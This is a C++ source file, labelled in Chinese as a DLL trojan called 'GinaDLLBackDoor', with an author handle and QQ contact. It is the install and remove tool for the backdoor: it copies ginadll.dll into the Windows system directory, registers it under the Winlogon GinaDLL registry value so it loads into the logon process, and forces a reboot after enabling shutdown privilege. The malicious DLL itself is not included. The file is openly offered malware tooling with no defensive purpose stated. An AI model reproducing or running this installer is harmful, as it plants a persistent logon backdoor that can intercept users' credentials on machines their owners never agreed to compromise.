ginadll.cpp

一个dll木马--GinaDLLBackDoor

#include "windows.h"
#include "stdio.h"
#include "io.h"
#include <conio.h>

void banner();
void install();
void remove();

void main (int argc , char* argv[])
{
	banner(); 
	if ( argc != 2 )
	{
		return ; 
	}
		
	if ( !strcmp ( argv[1] , "-install") )
		install();
	
	if ( !strcmp ( argv[1] , "-remove") )
		remove();
}

void banner()
{
	printf("===========================\n");
	printf("ginadll.exe -install\n");
	printf("ginadll.exe -remove\n");
	printf("LionD8   QQ:10415467\n");
	printf("===========================\n");
}


void install()
{
	HKEY	hSubKey		= NULL;
	char*   sSubkey		= "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";

	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, sSubkey , 0, KEY_ALL_ACCESS, &hSubKey) != ERROR_SUCCESS)
	{
		printf("open reg error\n");
		return ;
	}

	TCHAR TBuf [256] = {0};
	DWORD A =256;
	DWORD Type = 0;

	long ret = RegQueryValueEx (hSubKey,"GinaDLL",NULL,&Type,(BYTE*)TBuf,&A);
	if ( ret == ERROR_SUCCESS )
	{
		printf("have been installed\n");
		return;
	}

	TCHAR SysDir[MAX_PATH] = {0};
	TCHAR CurDir[MAX_PATH] = {0};

	GetSystemDirectory(SysDir,MAX_PATH);

	if ( SysDir[strlen(SysDir)-1] != '\\')
		strcat(SysDir,"\\");

	strcat(SysDir,"ginadll.dll");
	
	GetCurrentDirectory(MAX_PATH,CurDir);
	if ( CurDir[strlen(CurDir)-1] != '\\')
		strcat(CurDir,"\\");

	strcat(CurDir,"ginadll.dll");

	if ( (_access (CurDir,0) ) == -1 )
	{
		printf("ginadll.dll no exist\n");
		return;
	}
	CopyFile(CurDir,SysDir,FALSE);
	ret = RegSetValueEx (hSubKey,"GinaDLL",NULL,REG_SZ,(BYTE*)"ginadll.dll",strlen("ginadll.dll"));

	if ( ret != ERROR_SUCCESS )
	{
		printf("install false\n");
		return;
	}
	printf("install success");

	char  y;
	do
	{
		printf("\nneed reboot system are you sure? y/n:");
		y=_getch();
	}while(y!='y' && y!='n');
	if ( y == 'y')
	{
		TOKEN_PRIVILEGES tkp;
		HANDLE hToken;
    
        if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 
		{
			printf("OpenProcessToken failed!");
		}

		LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); //获得本地机唯一的标识
		tkp.PrivilegeCount = 1;  
		tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
        AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES) NULL, 0); //调整获得的权限
    
		BOOL r = ExitWindowsEx(EWX_REBOOT,1);
		if ( r == FALSE )
			printf("false %d",::GetLastError());
	}
		
}

void remove ()
{
	HKEY	hSubKey		= NULL;
	char*   sSubkey		= "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";

	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, sSubkey , 0, KEY_ALL_ACCESS, &hSubKey) != ERROR_SUCCESS)
	{
		printf("open reg error\n");
		return ;
	}

	TCHAR TBuf [256] = {0};
	DWORD A =256;
	DWORD Type = 0;

	long ret = RegQueryValueEx (hSubKey,"GinaDLL",NULL,&Type,(BYTE*)TBuf,&A);
	if ( ret != ERROR_SUCCESS )
	{
		printf("no install\n");
		return;
	}

	ret = RegDeleteValue (hSubKey,"GinaDLL");

	if (ret != ERROR_SUCCESS)
	{
		printf("del false\n");
		return;
	}

	printf("del success");

	char  y;
	do
	{
		printf("\nneed reboot system are you sure? y/n:");
		y=_getch();
	}while(y!='y' && y!='n');
	if ( y == 'y')
	{
		TOKEN_PRIVILEGES tkp;
		HANDLE hToken;
    
        if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 
		{
			printf("OpenProcessToken failed!");
		}

		LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); //获得本地机唯一的标识
		tkp.PrivilegeCount = 1;  
		tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
        AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES) NULL, 0); //调整获得的权限
    
		BOOL r = ExitWindowsEx(EWX_REBOOT,1);
		if ( r == FALSE )
			printf("flase %d",::GetLastError());
	}

}